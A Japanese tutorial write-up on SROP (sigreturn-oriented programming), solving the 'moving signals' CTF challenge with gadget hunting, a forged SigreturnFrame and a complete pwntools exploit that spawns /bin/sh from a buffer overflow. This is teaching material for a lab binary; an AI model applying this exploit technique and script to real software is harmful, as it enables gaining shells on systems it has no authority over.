SROP入門
SROP(SigReturn Oriented programming)の入門。
実際にCTFで出題されたSROPの問題と併せて勉強する。
SROPについて
SROPはその名の通り、Sigreturnを利用したROPの応用テクニック。
都合の良いROPガジェットが無い時とかに役立つ(この後のデモプログラムを参照)。
しかしSROP攻撃をするためにはいくつかの条件がある:
- リターンアドレスの書き換えができるようなbofの脆弱性がある
- syscallとraxのガジェットがそれぞれある(sigreturnをsyscallで呼び出すため)
- sigframeが書けるだけの十分なスペースがスタックにある
sigreturnシステムコールについて
プログラム動作中にシグナルが発生すると、カーネルはプロセスを一時停止してシグナルハンドラを呼び出す。その際、カーネルはシグナルを受け取ったときの状態をスタックに保存しておく。
シグナルハンドラの処理が終わるとsigreturn()
が呼び出される。
sigreturn()
はスタックから値をpopして元のプロセスのコンテキスト(プロセッサフラグ、レジスタ等)を復元する(そのおかげで、シグナルにより割り込まれた場所から元のプロセスを再開できる)。
システムコールの詳細はこちら:
どのように攻撃するか?
sigreturn()
が呼ばれると、”sigframe”なるものが参照される。すなわちこれを参照してコンテキストの復元を行おうとする。
そこで、まずこのsigframeを偽造してスタックに用意しておく(pwntoolsのSigreturnFrame()
関数で簡単に作れる)。👈 例えばシェルを起動するように偽造したり
そしたらsigreturn()
を呼び出すようなガジェットでリターンアドレスを上書きする(なぜならsigreturn()
を呼び出せばその偽造しておいたframeを参照するから)
なので少なくとも次の動作をするガジェットが必要(sigreturn()
をsyscallで呼び出す):
mov rax, 0x0f; syscall; ret
大雑把ですみません。sigreturnの詳細はももいろテクノロジーさんの記事でお願いします:
デモ
0x41414141 CTF 2021 の「moving signals」という問題(プログラムはここからダウンロード可)。
checksec
で確認すると全てのセキュリティ機構が無効になってる:
shoebill@pwner:~/srop$ checksec moving-signals [*] '/home/shoebill/srop/moving-signals' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x40000) RWX: Has RWX segments
このプログラムは、サイズ0x1f4(=500)分の標準入力受け取るsys_read
を実行するだけ:
shoebill@pwner:~/srop$ ./moving-signals test Segmentation fault (core dumped) shoebill@pwner:~/srop$
ディスアセンブルしても数行のコードで、何の出力もなく値のリークとかはできない:
gdb-peda$ info functions All defined functions: Non-debugging symbols: 0x0000000000041000 __start 0x0000000000041000 _start gdb-peda$ disas _start Dump of assembler code for function _start: 0x0000000000041000 <+0>: mov rdi,0x0 0x0000000000041007 <+7>: mov rsi,rsp 0x000000000004100a <+10>: sub rsi,0x8 0x000000000004100e <+14>: mov rdx,0x1f4 0x0000000000041015 <+21>: syscall 0x0000000000041017 <+23>: ret 0x0000000000041018 <+24>: pop rax 0x0000000000041019 <+25>: ret End of assembler dump.
libcもない、GOTエントリもない、ガジェットがたくさんあるわけでもなく単純なROPではうまくいきそうにない。
じゃあ何があるの?
まずbofの脆弱性がある。上のディスアセンブルの結果より、sys_read
の第二引数すなわち入力された値を格納するバッファについてrsiレジスタをみると:
mov rsi rsp; sub rsi, 0x8;
とあるから、0x8バイト分適当に埋めてそこからropチェーンを繋げられそう。
なので注入するペイロードの形は
payload = b'A' * 0x8 + pop_rax + 0xf + syscall_ret + sigframe
さらに使えるものとして次の3つがある:
- ガジェット
pop rax; ret;
- ガジェット
syscall; ret;
/bin/sh
という文字列
(上の2つのガジェットでsigreturn
を発生させることができる)
ガジェットの発見:
shoebill@pwner:~/srop$ ROPgadget --binary ./moving-signals Gadgets information ============================================================ 0x0000000000041013 : add byte ptr [rax], al ; syscall 0x000000000004100f : mov edx, 0x1f4 ; syscall 0x000000000004100e : mov rdx, 0x1f4 ; syscall 0x000000000004100d : or byte ptr [rax - 0x39], cl ; ret 0x1f4 0x000000000004100c : out dx, al ; or byte ptr [rax - 0x39], cl ; ret 0x1f4 0x0000000000041018 : pop rax ; ret 0x0000000000041017 : ret 0x0000000000041010 : ret 0x1f4 0x0000000000041015 : syscall Unique gadgets found: 9
またはpwntoolsでササっと:
>>> rop = ROP(binf) [*] Loaded 3 cached gadgets for './moving-signals' >>> rop.gadgets {266264: Gadget(0x41018, ['pop rax', 'ret'], ['rax'], 0x10), 266263: Gadget(0x41017, ['ret'], [], 0x8), 266261: Gadget(0x41015, ['syscall', 'ret'], [], 0x8)}
文字列"/bin/sh"の発見:
shoebill@pwner:~/srop$ strings ./moving-signals __start __bss_start _edata _end .symtab .strtab .shstrtab .shellcode /bin/sh gdb-peda$ gdb ./moving-signals gdb-peda$ r ... gdb-peda$ find '/bin/sh' Searching for '/bin/sh' in: None ranges Found 1 results, display max 1 items: moving-signals : 0x41250 --> 0x68732f6e69622f ('/bin/sh')
注)プログラムをランさせてからでないと"/bin/sh"の文字列を見つけることはできない
exploit
pwntoolsのSigreturnFrame()
を使って、execve(/bin/sh)
をsyscallするようなsigframeを作る。
#!/usr/bin/env python3 from pwn import * bin_file = './moving-signals' context.binary = bin_file binf = ELF(bin_file) rop = ROP(binf) offset = 8 addr_binsh = 0x41250 pop_rax = rop.find_gadget(['pop rax', 'ret'])[0] syscall_ret = rop.find_gadget(['syscall', 'ret'])[0] def attack(conn, **kwargs): sigret_frame = SigreturnFrame() sigret_frame.rax = constants.SYS_execve sigret_frame.rdi = addr_binsh sigret_frame.rsi = 0 sigret_frame.rdx = 0 sigret_frame.rip = syscall_ret rop.raw(b'a' * offset) rop.raw(pop_rax) rop.raw(constants.SYS_rt_sigreturn) rop.raw(syscall_ret) rop.raw(sigret_frame) conn.sendline(rop.chain()) def main(): conn = process(bin_file) attack(conn) conn.interactive() if __name__ == '__main__': main()
SigreturnFrame
ドキュメントを参考に。
と言ってもフレームの書き方は単純で、SigreturnFrame()
の返り値に対してexecve('/bin/sh')
を実行するためのレジスタの設定を書く:
sigret_frame = SigreturnFrame() sigret_frame.rax = constants.SYS_execve sigret_frame.rdi = addr_binsh sigret_frame.rsi = 0 sigret_frame.rdx = 0 sigret_frame.rip = syscall_ret
フレーム設定前後の様子:
>>> sigret_frame = SigreturnFrame() >>> sigret_frame {'uc_flags': 0, '&uc': 0, 'uc_stack.ss_sp': 0, 'uc_stack.ss_flags': 0, 'uc_stack.ss_size': 0, 'r8': 0, 'r9': 0, 'r10': 0, 'r11': 0, 'r12': 0, 'r13': 0, 'r14': 0, 'r15': 0, 'rdi': 0, 'rsi': 0, 'rbp': 0, 'rbx': 0, 'rdx': 0, 'rax': 0, 'rcx': 0, 'rsp': 0, 'rip': 0, 'eflags': 0, 'csgsfs': 51, 'err': 0, 'trapno': 0, 'oldmask': 0, 'cr2': 0, '&fpstate': 0, '__reserved': 0, 'sigmask': 0} >>> sigret_frame.rax = constants.SYS_execve >>> sigret_frame.rdi = addr_binsh >>> sigret_frame.rsi = 0 >>> sigret_frame.rdx = 0 >>> sigret_frame.rip = syscall_ret >>> sigret_frame {'uc_flags': 0, '&uc': 0, 'uc_stack.ss_sp': 0, 'uc_stack.ss_flags': 0, 'uc_stack.ss_size': 0, 'r8': 0, 'r9': 0, 'r10': 0, 'r11': 0, 'r12': 0, 'r13': 0, 'r14': 0, 'r15': 0, 'rdi': 266832, 'rsi': 0, 'rbp': 0, 'rbx': 0, 'rdx': 0, 'rax': Constant('SYS_execve', 0x3b), 'rcx': 0, 'rsp': 0, 'rip': 266261, 'eflags': 0, 'csgsfs': 51, 'err': 0, 'trapno': 0, 'oldmask': 0, 'cr2': 0, '&fpstate': 0, '__reserved': 0, 'sigmask': 0}
変わったのは各レジスタの値だけ。
266832、266261の数字たちは16進数表記されたものであり、それぞれ0x41250、0x41015に対応する。
sigret_frame.rsp = 0xdeadbeef
は不要
参考元のサイトだったりドキュメントではなぜかこのrspへの設定が書かれている(デバッグの際にわかりやすくするためか?)。
ドキュメント冒頭に
The main caveat is that all registers are set, including ESP and EIP (or their equivalents)
と書かれているから、rspも適当な文字で埋める必要があるのかと最初は思っていたが、別に0xdeadbeefと書かなくても初めから0がセットされてる。
実際にsigret_frame.rsp = 0xdeadbeef
を書かなくてもきちんとexploitは刺さった。
ROPチェーン
rop.raw(b'a'*offset)
rop.raw(pop_rax)
rop.raw(constants.SYS_rt_sigreturn)
rop.raw(syscall_ret)
rop.raw(sigret_frame)
raxレジスタにsigreturnのシステムコール番号を設定しsyscallする+偽造sigframeという形でROPチェーンを組む。
これでsigreturnが発生し、その後にあるsigframeを読み込んでシェルが起動する。
最終的に出来上がったROPチェーン:
>>> print(rop.dump()) 0x0000: b'aaaaaaaa' b'aaaaaaaa' 0x0008: 0x41018 pop rax; ret 0x0010: 0xf SYS_rt_sigreturn 0x0018: 0x41015 syscall; ret 0x0020: 0x0 uc_flags 0x0028: 0x0 &uc 0x0030: 0x0 uc_stack.ss_sp 0x0038: 0x0 uc_stack.ss_flags 0x0040: 0x0 uc_stack.ss_size 0x0048: 0x0 r8 0x0050: 0x0 r9 0x0058: 0x0 r10 0x0060: 0x0 r11 0x0068: 0x0 r12 0x0070: 0x0 r13 0x0078: 0x0 r14 0x0080: 0x0 r15 0x0088: 0x41250 rdi 0x0090: 0x0 rsi 0x0098: 0x0 rbp 0x00a0: 0x0 rbx 0x00a8: 0x0 rdx 0x00b0: 0x3b rax = SYS_execve 0x00b8: 0x0 rcx 0x00c0: 0x0 rsp 0x00c8: 0x41015 rip = syscall; ret 0x00d0: 0x0 eflags 0x00d8: 0x33 csgsfs 0x00e0: 0x0 err 0x00e8: 0x0 trapno 0x00f0: 0x0 oldmask 0x00f8: 0x0 cr2 0x0100: 0x0 &fpstate 0x0108: 0x0 __reserved 0x0110: 0x0 sigmask
pwntoolsの復習
rop.rax
はrop.find_gadget(['pop rax', 'ret'])[0]
と同じ。
rop.syscall.address
はrop.find_gadget(['syscall', 'ret'])[0]
と同じ。
>> rop.find_gadget(['pop rax', 'ret']) Gadget(0x41018, ['pop rax', 'ret'], ['rax'], 0x10) >>> rop.find_gadget(['syscall', 'ret']) Gadget(0x41015, ['syscall', 'ret'], [], 0x8) >>> rop.syscall gadget(address=266261, details=Gadget(0x41015, ['syscall', 'ret'], [], 0x8)) >>> rop.syscall.address 266261 # hex(266261) == 0x41015 >>> rop.syscall.details Gadget(0x41015, ['syscall', 'ret'], [], 0x8)
参考
何か腑に落ちない...
『sigreturn()
はスタックからレジスタへ一気に値を設定する(復元する)。そこでpwntoolsのSigreturnFrame()
で作った物をスタックに用意しておく。その上でsigreturn()
を呼ぶと我々が用意したSigreturnFrame()
を参照してレジスタに値を設定する。その結果こちらが意図した動作(シェルの起動など)を実現できる』で正しいのか...
特に『”SigreturnFrame()`で作った物(signal frame)はスタックに乗っている』であってるよな...